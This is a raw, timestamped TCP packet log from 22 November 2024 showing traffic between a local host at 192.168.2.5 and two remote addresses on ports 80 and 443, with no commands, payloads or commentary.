Nov 22, 2024 00:11:26.632097006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.632133961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.632186890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.634078979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.634143114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.634157896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.634202957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.667156935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.667296886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.667426109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.667426109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.668042898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.668113947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.668169022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.668226004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.669888020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.669966936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.670032978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.670087099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.671813965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.671828032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.671869040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.673660040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.673719883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.673777103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.673823118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.675487995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.675549984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.675606966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.675657988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.677289963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.677340031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.677371979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.677417040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.679032087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.679081917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.679110050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.679160118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.680875063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.680927038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.680947065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.680993080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.682583094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.682621956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.682635069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.682657957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.684165955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.684214115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.684298992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.684348106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.685837984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.685908079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.686049938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.686099052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.687561035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.687608004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.687640905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.687688112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.689234018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.689246893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.689472914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.700268030 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.700328112 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.700417995 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.700436115 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.700496912 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.700687885 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.700687885 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.700705051 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.701111078 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.701198101 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.701267958 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.703337908 CET	49714	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.703375101 CET	443	49714	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.703469038 CET	49714	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.703613997 CET	49714	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.703623056 CET	443	49714	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.727144957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.727210999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.727260113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.727300882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.727746964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.727792025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.727840900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.727890968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.729089975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.729144096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.729548931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.729609013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.729635000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.729681015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.730864048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.730912924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.730983973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.731029987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.732168913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.732214928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.732280016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.732327938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.733485937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.733532906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.733592033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.733639956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.734771013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.734818935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.734888077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.734932899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.736110926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.736160994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.736195087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.736234903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.737442017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.737454891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.737488985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.737508059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.738837004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.738848925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.738902092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.740144968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.740156889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.740190029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.740201950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.741373062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.741426945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.741472960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.741507053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.742662907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.742706060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.742758989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.742801905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.743962049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.744018078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.744090080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.744132996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.745310068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.745363951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.745378017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.745419025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.745507002 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.745990038 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.746016026 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.746514082 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.746519089 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.746630907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.746643066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.746669054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.746750116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.747998953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.748013020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.748043060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.748055935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.749270916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.749284029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.749325991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.750550985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.750597000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.750699997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.750751019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.751983881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.752026081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.752031088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.752070904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.753196001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.753272057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.786664009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.786717892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.786777020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.786822081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.787322044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.787364006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.787461996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.787511110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.788641930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.788691998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.788760900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.788803101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.789958000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.790077925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.790100098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.790112972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.791277885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.791349888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.791383982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.791443110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.792608023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.792619944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.792655945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.792680025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.793976068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.794022083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.794034004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.794064045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.795205116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.795249939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.795316935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.795373917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.796539068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.796550989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.796597004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.797864914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.797923088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.798070908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.798118114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.799463987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.799510002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.799513102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.799557924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.800441980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.800493956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.800529957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.800569057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.801808119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.801827908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.801858902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.801872015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.803061962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.803107977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.828088999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.828172922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.828263044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.828309059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.828749895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.828794003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.828823090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.828871012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.830126047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.830143929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.830269098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.831412077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.831473112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.868547916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.868587971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.868663073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.868746996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.869138956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.869200945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.869242907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.869364023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.870378971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.870451927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.870521069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.870577097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.871692896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.871750116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.871814013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.871866941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.872884989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.872920036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.872948885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.872961998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.874017000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.874087095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.874089956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.874134064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.875243902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.875302076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.875366926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.875428915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.876389027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.876451969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.876468897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.876518011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.877583981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.877618074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.877645016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.877660990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.878942966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.879009962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.879009962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.879082918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.879854918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.879965067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.879997969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.880048037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.881036043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.881098986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.881139994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.881194115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.882183075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.882242918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.882309914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.882365942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.883338928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.883394957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.928323030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.928467035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.928519964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.928567886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.929013968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.929050922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.929071903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.929090977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.929943085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.930000067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.930010080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.930047989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.931004047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.931062937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.931123972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.931178093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.932069063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.932126999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.932178974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.932235003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.933186054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.933221102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.933244944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.933267117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.934262991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.934315920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.934319973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.934362888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.935300112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.935359955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.935399055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.935450077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.936384916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.936420918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.936446905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.936463118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.937454939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.937514067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.937577963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.937624931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.938735008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.938770056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.938790083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.938838005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.939616919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.939677000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.939686060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.939733028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.940676928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.940737009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.940803051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.940850973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.941726923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.941798925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.941917896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.941962004 CET	49704	80	192.168.2.5	185.215.113.206
